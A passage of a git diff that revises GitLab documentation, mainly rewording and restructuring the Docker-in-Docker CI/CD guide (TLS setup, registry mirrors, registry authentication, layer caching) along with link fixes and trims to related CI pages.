+Each day on GitLab.com, between [150k and 200k images are pushed to the registry](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9620193&udv=0), generating about [700k API events](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=7601761&udv=0). It's also worth noting that although some customers use other registry vendors, [more than 96% of instances](https://app.periscopedata.com/app/gitlab/527857/Package-GitLab.com-Stage-Activity-Dashboard?widget=9832282&udv=0) are using the GitLab Container Registry.
For GitLab.com and for GitLab customers, the Container Registry is a critical component to building and deploying software.
@@ -187,7 +187,7 @@ During the discussion of the [initial database schema](https://gitlab.com/gitlab
PostgreSQL introduced significant improvements for partitioning in [version 12](https://www.postgresql.org/docs/12/release-12.html#id-1.11.6.9.5), among which we highlight:
- It's now possible for foreign keys to reference partitioned tables. This is a hard requirement for this project not only to guarantee consistency and integrity but also to enable cascading deletes at the database level;
-- Major performance improvements for inserts, selects, and updates with less locking and consistent performance for a large number of partitions ([benchmarks](https://www.2ndquadrant.com/en/blog/postgresql-12-partitioning));
+- Major performance improvements for inserts, selects, and updates with less locking and consistent performance for a large number of partitions ([benchmarks](https://www.2ndquadrant.com/en/blog/postgresql-12-partitioning/));
- Major improvements to the planning algorithm for tables with a large number of partitions, with some tests finding speedups of up to 10,000 times ([source](https://aws.amazon.com/blogs/database/postgresql-12-a-deep-dive-into-some-new-functionality/));
- Attaching new partitions to an existing table no longer requires locking the entire table;
- Bulk load (`COPY`) now uses bulk inserts instead of inserting one row at a time;
@@ -343,6 +343,8 @@ A more detailed list of all tasks, as well as periodic progress updates can be f
Proposal:
+<!-- vale gitlab.Spelling = NO -->
+
| Role | Who
|------------------------------|-------------------------|
| Author | João Pereira |
diff --git a/doc/ci/README.md b/doc/ci/README.md
index b1bcb578daf..b0ebbf920f9 100644
--- a/doc/ci/README.md
+++ b/doc/ci/README.md
@@ -99,7 +99,7 @@ GitLab CI/CD uses a number of concepts to describe and run your build and deploy
| [Cache dependencies](caching/index.md) | Cache your dependencies for a faster execution. |
| [GitLab Runner](https://docs.gitlab.com/runner/) | Configure your own runners to execute your scripts. |
| [Pipeline efficiency](pipelines/pipeline_efficiency.md) | Configure your pipelines to run quickly and efficiently. |
-| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. |
+| [Test cases](test_cases/index.md) | Configure your pipelines to run quickly and efficiently. <!--- this seems to be a duplicate description ---> |
## Configuration
diff --git a/doc/ci/caching/index.md b/doc/ci/caching/index.md
index bfc332e35b1..f2cb9500b2c 100644
--- a/doc/ci/caching/index.md
+++ b/doc/ci/caching/index.md
@@ -581,6 +581,9 @@ via the GitLab UI:
1. On the next push, your CI/CD job uses a new cache.
+NOTE:
+Each time you clear the cache manually, the [internal cache name](#where-the-caches-are-stored) is updated. The name uses the format `cache-<index>`, and the index increments by one each time. The old cache is not deleted. You can manually delete these files from the runner storage.
+
<!-- ## Troubleshooting
Include any troubleshooting steps that you can foresee. If you know beforehand what issues
diff --git a/doc/ci/chatops/index.md b/doc/ci/chatops/index.md
index 48f8e595df6..5f661731660 100644
--- a/doc/ci/chatops/index.md
+++ b/doc/ci/chatops/index.md
@@ -57,7 +57,7 @@ functions available. Consider these best practices when creating ChatOps jobs:
in the project, the job runs. The job itself can use existing
[CI/CD variables](../variables/README.md#predefined-cicd-variables) like
`GITLAB_USER_ID` to perform additional rights validation, but
- these variables can be [overridden](../variables/README.md#priority-of-cicd-variables).
+ these variables can be [overridden](../variables/README.md#cicd-variable-precedence).
### Controlling the ChatOps reply
diff --git a/doc/ci/cloud_deployment/ecs/quick_start_guide.md b/doc/ci/cloud_deployment/ecs/quick_start_guide.md
index f75680ccd8c..b9ed38c2c03 100644
--- a/doc/ci/cloud_deployment/ecs/quick_start_guide.md
+++ b/doc/ci/cloud_deployment/ecs/quick_start_guide.md
@@ -211,7 +211,7 @@ Do not share the secret access key in a public place. You must save it in a secu
### Setup credentials in GitLab to let pipeline jobs access to ECS
-You can register the access information in [GitLab Environment Variables](../../variables/README.md#create-a-custom-variable-in-the-ui).
+You can register the access information in [GitLab Environment Variables](../../variables/README.md#custom-cicd-variables).
These variables are injected into the pipeline jobs and can access the ECS API.
1. Go to **ecs-demo** project on GitLab.
diff --git a/doc/ci/cloud_deployment/index.md b/doc/ci/cloud_deployment/index.md
index 1e53414cd1e..e8f3fe3f4d9 100644
--- a/doc/ci/cloud_deployment/index.md
+++ b/doc/ci/cloud_deployment/index.md
@@ -117,7 +117,7 @@ After you have these prerequisites ready, follow these steps:
1. Make sure your AWS credentials are set up as CI/CD variables for your
project. You can follow [the steps above](#run-aws-commands-from-gitlab-cicd) to complete this setup.
1. Add these variables to your project's `.gitlab-ci.yml` file, or in the project's
- [CI/CD settings](../variables/README.md#create-a-custom-variable-in-the-ui):
+ [CI/CD settings](../variables/README.md#custom-cicd-variables):
- `CI_AWS_ECS_CLUSTER`: The name of the AWS ECS cluster that you're targeting for your deployments.
- `CI_AWS_ECS_SERVICE`: The name of the targeted service tied to your AWS ECS cluster.
@@ -146,7 +146,7 @@ After you have these prerequisites ready, follow these steps:
```
You can create your `CI_AWS_ECS_TASK_DEFINITION_FILE` variable as a
- [file-typed CI/CD variable](../variables/README.md#custom-cicd-variables-of-type-file) instead of a
+ [file-typed CI/CD variable](../variables/README.md#cicd-variable-types) instead of a
regular CI/CD variable. If you choose to do so, set the variable value to be the full contents of
the JSON task definition. You can then remove the JSON file from your project.
@@ -257,7 +257,7 @@ pass three JSON input objects, based on existing templates:
CI_AWS_EC2_DEPLOYMENT_FILE: 'aws/create_deployment.json'
```
- - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#custom-cicd-variables-of-type-file).
+ - Alternatively, you can provide these JSON objects as [file-typed CI/CD variables](../variables/README.md#cicd-variable-types).
In your project, go to **Settings > CI/CD > Variables** and add
the three variables listed above as file-typed CI/CD variables.
For each variable, set the value to its corresponding JSON object.
diff --git a/doc/ci/docker/using_docker_build.md b/doc/ci/docker/using_docker_build.md
index 2091a80bdf2..90a33478239 100644
--- a/doc/ci/docker/using_docker_build.md
+++ b/doc/ci/docker/using_docker_build.md
@@ -31,9 +31,9 @@ to learn more about how these runners are configured.
### Use the shell executor
-You can include Docker commands in your CI/CD jobs if your runner is configured to
-use the `shell` executor. The `gitlab-runner` user runs the Docker commands, but
-needs permission to run them.
+To include Docker commands in your CI/CD jobs, you can configure your runner to
+use the `shell` executor. In this configuration, the `gitlab-runner` user runs
+the Docker commands, but needs permission to do so.
1. [Install](https://gitlab.com/gitlab-org/gitlab-runner/#installation) GitLab Runner.
1. [Register](https://docs.gitlab.com/runner/register/) a runner.
@@ -81,76 +81,69 @@ Learn more about the [security of the `docker` group](https://blog.zopyx.com/on-
### Use the Docker executor with the Docker image (Docker-in-Docker)
-You can use "Docker-in-Docker" to run commands in your CI/CD jobs:
+"Docker-in-Docker" (`dind`) means:
-- Register a runner that uses the Docker executor.
-- Use the [Docker image](https://hub.docker.com/_/docker/) provided by Docker to
- run the jobs that need Docker commands.
+- Your registered runner uses the [Docker executor](https://docs.gitlab.com/runner/executors/docker.html).
+- The executor uses a [container image of Docker](https://hub.docker.com/_/docker/), provided
+ by Docker, to run your CI/CD jobs.
-The Docker image has all of the `docker` tools installed
-and can run the job script in context of the image in privileged mode.
+The Docker image has all of the `docker` tools installed and can run
+the job script in context of the image in privileged mode.
-The `docker-compose` command is not available in this configuration by default.
-To use `docker-compose` in your job scripts, follow the `docker-compose`
-[installation instructions](https://docs.docker.com/compose/install/).
+We recommend you use [Docker-in-Docker with TLS enabled](#docker-in-docker-with-tls-enabled),
+which is supported by [GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners).
-An example project that uses this approach can be found here: <https://gitlab.com/gitlab-examples/docker>.
-
-WARNING:
-When you enable `--docker-privileged`, you are effectively disabling all of
-the security mechanisms of containers and exposing your host to privilege
-escalation. Doing this can lead to container breakout. For more information, check
-out the official Docker documentation on
-[runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities).
+You should always specify a specific version of the image, like `docker:19.03.12`.
+If you use a tag like `docker:stable`, you have no control over which version is used.
+Unpredictable behavior can result, especially when new versions are released.
#### Limitations of Docker-in-Docker
-Docker-in-Docker is the recommended configuration, but it is
+Docker-in-Docker is the recommended configuration, but is
not without its own challenges:
-- When using Docker-in-Docker, each job is in a clean environment without the past
- history. Concurrent jobs work fine because every build gets its own
- instance of Docker engine so they don't conflict with each other. But this
- also means that jobs can be slower because there's no caching of layers.
-- By default, Docker 17.09 and higher uses `--storage-driver overlay2` which is
- the recommended storage driver. See [Using the OverlayFS driver](#use-the-overlayfs-driver)
- for details.
-- Since the `docker:19.03.12-dind` container and the runner container don't share their
- root file system, the job's working directory can be used as a mount point for
+- **The `docker-compose` command**: This command is not available in this configuration by default.
+ To use `docker-compose` in your job scripts, follow the `docker-compose`
+ [installation instructions](https://docs.docker.com/compose/install/).
+- **Cache**: Each job runs in a new environment. Concurrent jobs work fine,
+ because every build gets its own instance of Docker engine and they don't conflict with each other.
+ However, jobs can be slower because there's no caching of layers.
+- **Storage drivers**: By default, earlier versions of Docker use the `vfs` storage driver,
+ which copies the file system for each job. Docker 17.09 and later use `--storage-driver overlay2`, which is
+ the recommended storage driver. See [Using the OverlayFS driver](#use-the-overlayfs-driver) for details.
+- **Root file system**: Because the `docker:19.03.12-dind` container and the runner container don't share their
+ root file system, you can use the job's working directory as a mount point for
child containers. For example, if you have files you want to share with a
- child container, you may create a subdirectory under `/builds/$CI_PROJECT_PATH`
- and use it as your mount point (for a more thorough explanation, check [issue
- #41227](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41227)):
+ child container, you might create a subdirectory under `/builds/$CI_PROJECT_PATH`
+ and use it as your mount point. For a more detailed explanation, view [issue
+ #41227](https://gitlab.com/gitlab-org/gitlab-foss/-/issues/41227).
```yaml
variables:
MOUNT_POINT: /builds/$CI_PROJECT_PATH/mnt
-
script:
- mkdir -p "$MOUNT_POINT"
- docker run -v "$MOUNT_POINT:/mnt" my-docker-image
```
-In the examples below, we are using Docker images tags to specify a
-specific version, such as `docker:19.03.12`. If tags like `docker:stable`
-are used, you have no control over what version is used. This can lead to
-unpredictable behavior, especially when new versions are
-released.
+#### Docker-in-Docker with TLS enabled
-#### TLS enabled
+> Introduced in GitLab Runner 11.11.
-The Docker daemon supports connection over TLS and it's done by default
-for Docker 19.03.12 or higher. This is the **suggested** way to use the
-Docker-in-Docker service and
-[GitLab.com shared runners](../../user/gitlab_com/index.md#shared-runners)
-support this.
+The Docker daemon supports connections over TLS. In Docker 19.03.12 and later,
+TLS is the default.
-##### Docker
+WARNING:
+This task enables `--docker-privileged`. When you do this, you are effectively disabling all of
+the security mechanisms of containers and exposing your host to privilege
+escalation. Doing this can lead to container breakout. For more information,
+see the official Docker documentation about
+[runtime privilege and Linux capabilities](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities).
-> Introduced in GitLab Runner 11.11.
+To use Docker-in-Docker with TLS enabled:
1. Install [GitLab Runner](https://docs.gitlab.com/runner/install/).
-1. Register GitLab Runner from the command line to use `docker` and `privileged`
+1. Register GitLab Runner from the command line. Use `docker` and `privileged`
mode:
```shell
@@ -164,18 +157,16 @@ support this.
--docker-volumes "/certs/client"
```
- The above command registers a new runner to use the special
- `docker:19.03.12` image, which is provided by Docker. **Notice that it's
- using the `privileged` mode to start the build and service
- containers.** If you want to use [Docker-in-Docker](https://www.docker.com/blog/docker-can-now-run-within-docker/) mode, you always
- have to use `privileged = true` in your Docker containers.
-
- This also mounts `/certs/client` for the service and build
- container, which is needed for the Docker client to use the
- certificates inside of that directory. For more information on how
- Docker with TLS works, check <https://hub.docker.com/_/docker/#tls>.
+ - This command registers a new runner to use the `docker:19.03.12` image.
+ To start the build and service containers, it uses the `privileged` mode.
+ If you want to use [Docker-in-Docker](https://www.docker.com/blog/docker-can-now-run-within-docker/),
+ you must always use `privileged = true` in your Docker containers.
+ - This command mounts `/certs/client` for the service and build
+ container, which is needed for the Docker client to use the
+ certificates in that directory. For more information on how
+ Docker with TLS works, see <https://hub.docker.com/_/docker/#tls>.
- The above command creates a `config.toml` entry similar to this:
+ The previous command creates a `config.toml` entry similar to this:
```toml
[[runners]]
@@ -193,14 +184,14 @@ support this.
[runners.cache.gcs]
```
-1. You can now use `docker` in the build script (note the inclusion of the
- `docker:19.03.12-dind` service):
+1. You can now use `docker` in the job script. Note the inclusion of the
+ `docker:19.03.12-dind` service:
```yaml
image: docker:19.03.12
variables:
- # When using dind service, we need to instruct docker to talk with
+ # When you use the dind service, you must instruct Docker to talk with
# the daemon started inside of the service. The daemon is available
# with a network connection instead of the default
# /var/run/docker.sock socket. Docker 19.03 does this automatically
@@ -210,9 +201,9 @@ support this.
# The 'docker' hostname is the alias of the service container as described at
# https://docs.gitlab.com/ee/ci/docker/using_docker_images.html#accessing-the-services.
#
- # Specify to Docker where to create the certificates, Docker will
- # create them automatically on boot, and will create
- # `/certs/client` that will be shared between the service and job
+ # Specify to Docker where to create the certificates. Docker
+ # creates them automatically on boot, and creates
+ # `/certs/client` to share between the service and job
# container, thanks to volume mount from config.toml
DOCKER_TLS_CERTDIR: "/certs"
@@ -229,10 +220,12 @@ support this.
- docker run my-docker-image /script/to/run/tests
```
-##### Kubernetes
+#### Docker-in-Docker with TLS enabled in Kubernetes
> [Introduced](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/issues/106) in GitLab Runner Helm Chart 0.23.0.
+To use Docker-in-Docker with TLS enabled in Kubernetes:
+
1. Using the
[Helm chart](https://docs.gitlab.com/runner/install/kubernetes.html), update the
[`values.yml` file](https://gitlab.com/gitlab-org/charts/gitlab-runner/-/blob/00c1a2098f303dffb910714752e9a981e119f5b5/values.yaml#L133-137)
@@ -251,14 +244,14 @@ support this.
medium = "Memory"
```
-1. You can now use `docker` in the build script (note the inclusion of the
- `docker:19.03.13-dind` service):
+1. You can now use `docker` in the job script. Note the inclusion of the
+ `docker:19.03.13-dind` service:
```yaml
image: docker:19.03.13
variables:
- # When using dind service, we need to instruct docker to talk with
+ # When using dind service, you must instruct Docker to talk with
# the daemon started inside of the service. The daemon is available
# with a network connection instead of the default
# /var/run/docker.sock socket.
@@ -271,9 +264,9 @@ support this.
# Kubernetes executor connects services to the job container
# DOCKER_HOST: tcp://localhost:2376
#
- # Specify to Docker where to create the certificates, Docker will
- # create them automatically on boot, and will create
- # `/certs/client` that will be shared between the service and job
+ # Specify to Docker where to create the certificates. Docker
+ # creates them automatically on boot, and creates
+ # `/certs/client` to share between the service and job
# container, thanks to volume mount from config.toml
DOCKER_TLS_CERTDIR: "/certs"
# These are usually specified by the entrypoint, however the
@@ -295,9 +288,9 @@ support this.
- docker run my-docker-image /script/to/run/tests
```
-#### TLS disabled
+#### Docker-in-Docker with TLS disabled
-Sometimes there are legitimate reasons why you might want to disable TLS.
+Sometimes you might have legitimate reasons to disable TLS.
For example, you have no control over the GitLab Runner configuration
that you are using.
@@ -319,14 +312,14 @@ Assuming that the runner's `config.toml` is similar to:
[runners.cache.gcs]
```
-You can now use `docker` in the build script (note the inclusion of the
-`docker:19.03.12-dind` service):
+You can now use `docker` in the job script. Note the inclusion of the
+`docker:19.03.12-dind` service:
```yaml
image: docker:19.03.12
variables:
- # When using dind service we need to instruct docker, to talk with the
+ # When using dind service, you must instruct docker to talk with the
# daemon started inside of the service. The daemon is available with
# a network connection instead of the default /var/run/docker.sock socket.
#
@@ -340,7 +333,7 @@ variables:
#
DOCKER_HOST: tcp://docker:2375
#
- # This will instruct Docker not to start over TLS.
+ # This instructs Docker not to start over TLS.
DOCKER_TLS_CERTDIR: ""
services:
@@ -382,10 +375,10 @@ To make Docker available in the context of the image:
--docker-volumes /var/run/docker.sock:/var/run/docker.sock
```
- This command registers a new runner to use the special
- `docker:19.03.12` image, which is provided by Docker. **The command uses
+ This command registers a new runner to use the
+ `docker:19.03.12` image provided by Docker. The command uses
the Docker daemon of the runner itself. Any containers spawned by Docker
- commands are siblings of the runner rather than children of the runner.**
+ commands are siblings of the runner rather than children of the runner.
This may have complications and limitations that are unsuitable for your workflow.
Your `config.toml` file should now have an entry like this:
@@ -405,7 +398,7 @@ To make Docker available in the context of the image:
Insecure = false
```
-1. Use `docker` in the build script. You don't need to
+1. Use `docker` in the job script. You don't need to
include the `docker:19.03.12-dind` service, like you do when you're using
the Docker-in-Docker executor:
@@ -445,20 +438,20 @@ the implications of this method are:
When the Docker daemon starts inside of the service container, it uses
the default configuration. You may want to configure a [registry
mirror](https://docs.docker.com/registry/recipes/mirror/) for
-performance improvements and ensuring you don't reach DockerHub rate limits.
+performance improvements and to ensure you don't reach Docker Hub rate limits.
-##### Inside `.gitlab-ci.yml`
+##### The service in the `.gitlab-ci.yml` file
You can append extra CLI flags to the `dind` service to set the registry
mirror:
```yaml
services:
- - name: docker:19.03.13-dind
- command: ["--registry-mirror", "https://registry-mirror.example.com"] # Specify the registry mirror to use.
+ - name: docker:19.03.13-dind
+ command: ["--registry-mirror", "https://registry-mirror.example.com"] # Specify the registry mirror to use
```
-##### DinD service defined inside of GitLab Runner configuration
+##### The service in the GitLab Runner configuration file
> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/27173) in GitLab Runner 13.6.
@@ -495,7 +488,7 @@ Kubernetes:
command = ["--registry-mirror", "https://registry-mirror.example.com"]
```
-##### Docker executor inside GitLab Runner configuration
+##### The Docker executor in the GitLab Runner configuration file
If you are a GitLab Runner administrator, you can use
the mirror for every `dind` service. Update the
@@ -528,7 +521,7 @@ picked up by the `dind` service.
volumes = ["/opt/docker/daemon.json:/etc/docker/daemon.json:ro"]
```
-##### Kubernetes executor inside GitLab Runner configuration
+##### The Kubernetes executor in the GitLab Runner configuration file
> [Introduced](https://gitlab.com/gitlab-org/gitlab-runner/-/issues/3223) in GitLab Runner 13.6.
@@ -556,7 +549,7 @@ kubectl create configmap docker-daemon --namespace gitlab-runner --from-file /tm
```
NOTE:
-Make sure to use the namespace that GitLab Runner Kubernetes executor uses
+Make sure to use the namespace that the GitLab Runner Kubernetes executor uses
to create job pods in.
After the ConfigMap is created, you can update the `config.toml`
@@ -577,15 +570,15 @@ The configuration is picked up by the `dind` service.
sub_path = "daemon.json"
```
-## Authenticating with registry in Docker-in-Docker
+## Authenticate with registry in Docker-in-Docker
-When you use Docker-in-Docker, the [normal authentication
-methods](using_docker_images.html#define-an-image-from-a-private-container-registry)
+When you use Docker-in-Docker, the
+[standard authentication methods](using_docker_images.md#define-an-image-from-a-private-container-registry)
don't work because a fresh Docker daemon is started with the service.
### Option 1: Run `docker login`
-In [`before_script`](../yaml/README.md#before_script) run `docker
+In [`before_script`](../yaml/README.md#before_script), run `docker
login`:
```yaml
@@ -618,12 +611,12 @@ are using the official `docker:19.03.13` image, the home directory is
under `/root`.
If you mount the configuration file, any `docker` command
-that modifies the `~/.docker/config.json` (for example, `docker login`)
+that modifies the `~/.docker/config.json` fails. For example, `docker login`
fails, because the file is mounted as read-only. Do not change it from
read-only, because problems occur.
Here is an example of `/opt/.docker/config.json` that follows the
-[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data)
+[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determine-your-docker_auth_config-data)
documentation:
```json
@@ -638,8 +631,8 @@ documentation:
#### Docker
-Update the [volume
-mounts](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section)
+Update the
+[volume mounts](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#volumes-in-the-runnersdocker-section)
to include the file.
```toml
@@ -661,8 +654,7 @@ of this file. You can do this with a command like:
kubectl create configmap docker-client-config --namespace gitlab-runner --from-file /opt/.docker/config.json
```
-Update the [volume
-mounts](https://docs.gitlab.com/runner/executors/kubernetes.html#using-volumes)
+Update the [volume mounts](https://docs.gitlab.com/runner/executors/kubernetes.html#using-volumes)
to include the file.
```toml
@@ -683,21 +675,19 @@ to include the file.
### Option 3: Use `DOCKER_AUTH_CONFIG`
If you already have
-[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determining-your-docker_auth_config-data)
+[`DOCKER_AUTH_CONFIG`](using_docker_images.md#determine-your-docker_auth_config-data)
defined, you can use the variable and save it in
`~/.docker/config.json`.
-There are multiple ways to define this. For example:
+There are multiple ways to define this authentication:
-- Inside
- [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
- inside of the runner configuration file.
-- Inside [`before_script`](../yaml/README.md#before_script).
-- Inside of [`script`](../yaml/README.md#script).
+- In [`pre_build_script`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section)
+ in the runner configuration file.
+- In [`before_script`](../yaml/README.md#before_script).
+- In [`script`](../yaml/README.md#script).
-Below is an example of
-[`before_script`](../yaml/README.md#before_script). The same commands
-apply for any solution you implement.
+The following example shows [`before_script`](../yaml/README.md#before_script).
+The same commands apply for any solution you implement.
```yaml
image: docker:19.03.13
@@ -718,10 +708,10 @@ build:
- docker run my-docker-image /script/to/run/tests
```
-## Making Docker-in-Docker builds faster with Docker layer caching
+## Make Docker-in-Docker builds faster with Docker layer caching
When using Docker-in-Docker, Docker downloads all layers of your image every
-time you create a build. Recent versions of Docker (Docker 1.13 and above) can
+time you create a build. Recent versions of Docker (Docker 1.13 and later) can
use a pre-existing image as a cache during the `docker build` step. This considerably
speeds up the build process.
@@ -737,9 +727,9 @@ as a cache source by using multiple `--cache-from` arguments. Any image that's u
with the `--cache-from` argument must first be pulled
(using `docker pull`) before it can be used as a cache source.
-### Using Docker caching
+### Docker caching example
-Here's a `.gitlab-ci.yml` file showing how Docker caching can be used:
+Here's a `.gitlab-ci.yml` file that shows how to use Docker caching:
```yaml
image: docker:19.03.12
@@ -764,12 +754,12 @@ build:
- docker push $CI_REGISTRY_IMAGE:latest
```
-The steps in the `script` section for the `build` stage can be summed up to:
+In the `script` section for the `build` stage:
1. The first command tries to pull the image from the registry so that it can be
used as a cache for the `docker build` command.
-1. The second command builds a Docker image using the pulled image as a
- cache (notice the `--cache-from $CI_REGISTRY_IMAGE:latest` argument) if
+1. The second command builds a Docker image by using the pulled image as a
+ cache (see the `--cache-from $CI_REGISTRY_IMAGE:latest` argument) if
available, and tags it.
1. The last two commands push the tagged Docker images to the container registry
so that they may also be used as cache for subsequent builds.
@@ -818,10 +808,10 @@ variables:
### Use the OverlayFS driver for every project
-If you use your own [GitLab Runners](https://docs.gitlab.com/runner/), you
+If you use your own [runners](https://docs.gitlab.com/runner/), you
can enable the driver for every project by setting the `DOCKER_DRIVER`
environment variable in the
-[`[[runners]]` section of `config.toml`](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section):
+[`[[runners]]` section of the `config.toml` file](https://docs.gitlab.com/runner/configuration/advanced-configuration.html#the-runners-section):
```toml
environment = ["DOCKER_DRIVER=overlay2"]
@@ -832,7 +822,7 @@ If you're running multiple runners, you have to modify all configuration files.
Read more about the [runner configuration](https://docs.gitlab.com/runner/configuration/)
and [using the OverlayFS storage driver](https://docs.docker.com/engine/userguide/storagedriver/overlayfs-driver/).
-## Using the GitLab Container Registry
+## Use the GitLab Container Registry
After you've built a Docker image, you can push it up to the built-in
[GitLab Container Registry](../../user/packages/container_registry/index.md#build-and-push-by-using-gitlab-cicd).
@@ -842,13 +832,12 @@ After you've built a Docker image, you can push it up to the built-in
### `docker: Cannot connect to the Docker daemon at tcp://docker:2375. Is the docker daemon running?`
This is a common error when you are using
-[Docker in Docker](#use-the-docker-executor-with-the-docker-image-docker-in-docker)
-v19.03 or higher.
+[Docker-in-Docker](#use-the-docker-executor-with-the-docker-image-docker-in-docker)
+v19.03 or later.
-This occurs because Docker starts on TLS automatically, so you need to do some setup.
-If:
+This issue occurs because Docker starts on TLS automatically.
-- This is the first time setting it up, carefully read
- [using Docker in Docker workflow](#use-the-docker-executor-with-the-docker-image-docker-in-docker).
-- You are upgrading from v18.09 or earlier, read our
+- If this is your first time setting it up, read
+ [use the Docker executor with the Docker image](#use-the-docker-executor-with-the-docker-image-docker-in-docker).
+- If you are upgrading from v18.09 or earlier, read our
[upgrade guide](https://about.gitlab.com/blog/2019/07/31/docker-in-docker-with-docker-19-dot-03/).
diff --git a/doc/ci/docker/using_docker_images.md b/doc/ci/docker/using_docker_images.md
index e8028a862c4..173701ef358 100644
--- a/doc/ci/docker/using_docker_images.md
+++ b/doc/ci/docker/using_docker_images.md
@@ -9,23 +9,22 @@ type: concepts, howto
You can run your CI/CD jobs in separate, isolated Docker containers.
-When you run a Docker container on your local machine, it acts as a reproducible build environment.
-You can run tests in the container, instead of testing on a dedicated CI/CD server.
+If you run Docker on your local machine, you can run tests in the container,
+rather than testing on a dedicated CI/CD server.
To run CI/CD jobs in a Docker container, you need to:
-- Register a runner that uses the Docker executor. Then all jobs run in a Docker container.
-- Specify an image in your `.gitlab-ci.yml` file. The runner creates a container from this image
- and runs the jobs in it.
-- Optional. Specify other images in your `.gitlab-ci.yml` file. These containers are known as
- ["services"](#what-is-a-service) and you can use them to run services like MySQL separately.
+1. Register a runner so that all jobs run in Docker containers. Do this by choosing the Docker executor during registration.
+1. Specify which container to run the jobs in. Do this by specifying an image in your `.gitlab-ci.yml` file.
+1. Optional. Run other services, like MySQL, in containers. Do this by specifying [services](../services/index.md)
+ in your `.gitlab-ci.yml` file.
## Register a runner that uses the Docker executor
To use GitLab Runner with Docker you need to [register a runner](https://docs.gitlab.com/runner/register/)
that uses the Docker executor.
-In this example, we first set up a temporary template to supply the services:
+This example shows how to set up a temporary template to supply services:
```shell
cat > /tmp/test-config.template.toml << EOF
@@ -57,150 +56,20 @@ accessible during the build process.
## What is an image
The `image` keyword is the name of the Docker image the Docker executor
-runs to perform the CI tasks.
+uses to run CI/CD jobs.
-By default, the executor pulls images only from [Docker Hub](https://hub.docker.com/).
-However, you can configure the location in the `gitlab-runner/config.toml` file. For example,
-you can set the [Docker pull policy](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work)
+By default, the executor pulls images from [Docker Hub](https://hub.docker.com/).
+However, you can configure the registry location in the `gitlab-runner/config.toml` file.
+For example, you can set the [Docker pull policy](https://docs.gitlab.com/runner/executors/docker.html#how-pull-policies-work)
to use local images.
-For more information about images and Docker Hub, read
+For more information about images and Docker Hub, see
the [Docker Fundamentals](https://docs.docker.com/engine/understanding-docker/) documentation.
-## What is a service
-
-The `services` keyword defines another Docker image that's run during
-your job. It's linked to the Docker image that the `image` keyword defines,
-which allows you to access the service image during build time.
-
-The service image can run any application, but the most common use case is to
-run a database container, for example, `mysql`. It's easier and faster to use an
-existing image and run it as an additional container than to install `mysql` every
-time the project is built.
-
-You're not limited to only database services. You can add as many
-services you need to `.gitlab-ci.yml` or manually modify `config.toml`.
-Any image found at [Docker Hub](https://hub.docker.com/) or your private Container Registry can be
-used as a service.
-
-Services inherit the same DNS servers, search domains, and additional hosts as
-the CI container itself.
-
-You can see some widely used services examples in the relevant documentation of
-[CI services examples](../services/index.md).
-
-### How services are linked to the job
-
-To better understand how container linking works, read
-[Linking containers together](https://docs.docker.com/engine/userguide/networking/default_network/dockerlinks/).
-
-If you add `mysql` as service to your application, the image is
-used to create a container that's linked to the job container.
-
-The service container for MySQL is accessible under the hostname `mysql`.
-To access your database service, connect to the host named `mysql` instead of a
-socket or `localhost`. Read more in [accessing the services](#accessing-the-services).
-
-### How the health check of services works
-
-Services are designed to provide additional features which are **network accessible**.
-They may be a database like MySQL, or Redis, and even `docker:stable-dind` which
-allows you to use Docker-in-Docker. It can be practically anything that's
-required for the CI/CD job to proceed, and is accessed by network.
-
-To make sure this works, the runner:
-
-1. Checks which ports are exposed from the container by default.
-1. Starts a special container that waits for these ports to be accessible.
-
-If the second stage of the check fails, it prints the warning: `*** WARNING: Service XYZ probably didn't start properly`.
-This issue can occur because:
-
-- There is no opened port in the service.
-- The service was not started properly before the timeout, and the port is not
- responding.
-
-In most cases it affects the job, but there may be situations when the job
-still succeeds even if that warning was printed. For example:
-
-- The service was started shortly after the warning was raised, and the job is
- not using the linked service from the beginning. In that case, when the
- job needed to access the service, it may have been already there waiting for
- connections.
-- The service container is not providing any networking service, but it's doing
- something with the job's directory (all services have the job directory mounted
- as a volume under `/builds`). In that case, the service does its job, and
- because the job is not trying to connect to it, it does not fail.
-
-### What services are not for
-
-As mentioned before, this feature is designed to provide **network accessible**
-services. A database is the simplest example of such a service.
-
-The services feature is not designed to, and does not, add any software from the
-defined `services` image(s) to the job's container.
-
-For example, if you have the following `services` defined in your job, the `php`,
-`node` or `go` commands are **not** available for your script, and the job fails:
-
-```yaml
-job:
- services:
- - php:7
- - node:latest
- - golang:1.10
- image: alpine:3.7
- script:
- - php -v
- - node -v
- - go version
-```
-
-If you need to have `php`, `node` and `go` available for your script, you should
-either:
-
-- Choose an existing Docker image that contains all required tools.
-- Create your own Docker image, with all the required tools included,
- and use that in your job.
-
-### Accessing the services
-
-Let's say that you need a Wordpress instance to test some API integration with
-your application. You can then use for example the
-[`tutum/wordpress`](https://hub.docker.com/r/tutum/wordpress/) image in your
-`.gitlab-ci.yml` file:
-
-```yaml
-services:
- - tutum/wordpress:latest
-```
-
-If you don't [specify a service alias](#available-settings-for-services),
-when the job runs, `tutum/wordpress` is started. You have
-access to it from your build container under two hostnames:
-
-- `tutum-wordpress`
-- `tutum__wordpress`
-
-Hostnames with underscores are not RFC valid and may cause problems in third-party
-applications.
-
-The default aliases for the service's hostname are created from its image name
-following these rules:
-
-- Everything after the colon (`:`) is stripped.
-- Slash (`/`) is replaced with double underscores (`__`) and the primary alias
- is created.
